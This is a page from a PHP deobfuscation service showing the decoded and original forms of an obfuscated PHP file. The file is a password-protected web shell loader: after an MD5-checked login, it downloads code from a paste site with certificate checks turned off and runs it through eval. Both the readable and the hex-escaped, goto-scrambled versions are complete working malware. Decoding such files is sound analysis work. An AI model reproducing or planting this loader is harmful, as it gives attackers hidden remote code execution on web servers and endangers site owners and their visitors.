Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto Zl9Y4; vW_dt: if (is_logged_in()) { $a = geturlsinfo("\x68\x74\x74\160\x73\72..
Decoded Output download
<?php
goto Zl9Y4; vW_dt: if (is_logged_in()) { $a = geturlsinfo("https://paste.exploits.my.id/paste/BoYOJ/raw"); eval("?>" . $a); } else { ?>
<!doctypehtml><html><head><title>Login</title></head><body><form action=""method="POST"><label for="password">Password:</label> <input type="password"id="password"name="password"> <input type="submit"value="Login"></form></body></html><?php } goto YwbfS; Zl9Y4: session_start(); goto vy4wO; Y0OzM: function is_logged_in() { return isset($_SESSION["logged_in"]) && $_SESSION["logged_in"] === true; } goto v7eoG; v7eoG: if (isset($_POST["password"])) { $entered_password = $_POST["password"]; $hashed_password = "73d1af204428223c668b57daa4c896bf"; if (md5($entered_password) === $hashed_password) { $_SESSION["logged_in"] = true; $_SESSION["coki"] = "asu"; } else { echo "Incorrect password. Please try again."; } } goto vW_dt; vy4wO: function geturlsinfo($url) { if (function_exists("curl_exec")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["coki"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["coki"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("file_get_contents")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("fopen") && function_exists("stream_get_contents")) { $handle = fopen($url, "r"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto Y0OzM; YwbfS: ?>Did this file decode correctly?
Original Code
<?php
goto Zl9Y4; vW_dt: if (is_logged_in()) { $a = geturlsinfo("\x68\x74\x74\160\x73\72\57\x2f\x70\x61\x73\164\145\56\145\170\160\154\x6f\x69\164\x73\x2e\155\171\x2e\x69\144\57\x70\x61\x73\164\145\x2f\x42\157\131\117\x4a\57\162\x61\167"); eval("\x3f\76" . $a); } else { ?>
<!doctypehtml><html><head><title>Login</title></head><body><form action=""method="POST"><label for="password">Password:</label> <input type="password"id="password"name="password"> <input type="submit"value="Login"></form></body></html><?php } goto YwbfS; Zl9Y4: session_start(); goto vy4wO; Y0OzM: function is_logged_in() { return isset($_SESSION["\154\157\147\x67\145\144\x5f\151\156"]) && $_SESSION["\x6c\157\x67\x67\x65\144\x5f\x69\156"] === true; } goto v7eoG; v7eoG: if (isset($_POST["\160\141\163\x73\x77\x6f\x72\x64"])) { $entered_password = $_POST["\160\x61\163\x73\167\x6f\x72\144"]; $hashed_password = "\x37\63\x64\x31\x61\146\62\x30\64\64\x32\70\x32\62\x33\x63\66\x36\70\x62\65\x37\144\141\x61\x34\143\x38\x39\66\x62\x66"; if (md5($entered_password) === $hashed_password) { $_SESSION["\154\157\147\147\x65\144\x5f\151\x6e"] = true; $_SESSION["\143\157\x6b\151"] = "\141\163\165"; } else { echo "\111\156\143\x6f\x72\162\145\143\x74\40\x70\141\163\x73\x77\x6f\x72\144\56\x20\120\x6c\145\141\x73\x65\x20\164\162\x79\x20\x61\x67\141\x69\156\x2e"; } } goto vW_dt; vy4wO: function geturlsinfo($url) { if (function_exists("\143\x75\162\x6c\x5f\145\170\x65\x63")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\x4d\x6f\x7a\151\x6c\x6c\x61\57\x35\56\x30\x20\x28\x57\151\x6e\x64\x6f\x77\x73\40\x4e\124\40\x36\x2e\61\x3b\40\162\x76\72\x33\62\x2e\x30\51\40\x47\145\x63\153\157\57\62\x30\61\60\60\61\60\x31\40\x46\x69\162\x65\146\x6f\x78\57\63\62\x2e\60"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["\x63\x6f\153\x69"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["\143\x6f\153\151"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("\x66\151\154\x65\x5f\147\145\164\x5f\x63\x6f\x6e\164\x65\x6e\164\x73")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("\x66\157\x70\x65\156") && function_exists("\163\x74\162\145\141\155\137\x67\x65\164\x5f\x63\x6f\156\164\x65\x6e\164\163")) { $handle = fopen($url, "\162"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto Y0OzM; YwbfS: ?>Function Calls
| None |
Stats
| MD5 | d121b5309cc8b7a467d1719e9df4dd76 |
| Eval Count | 0 |
| Decode Time | 78 ms |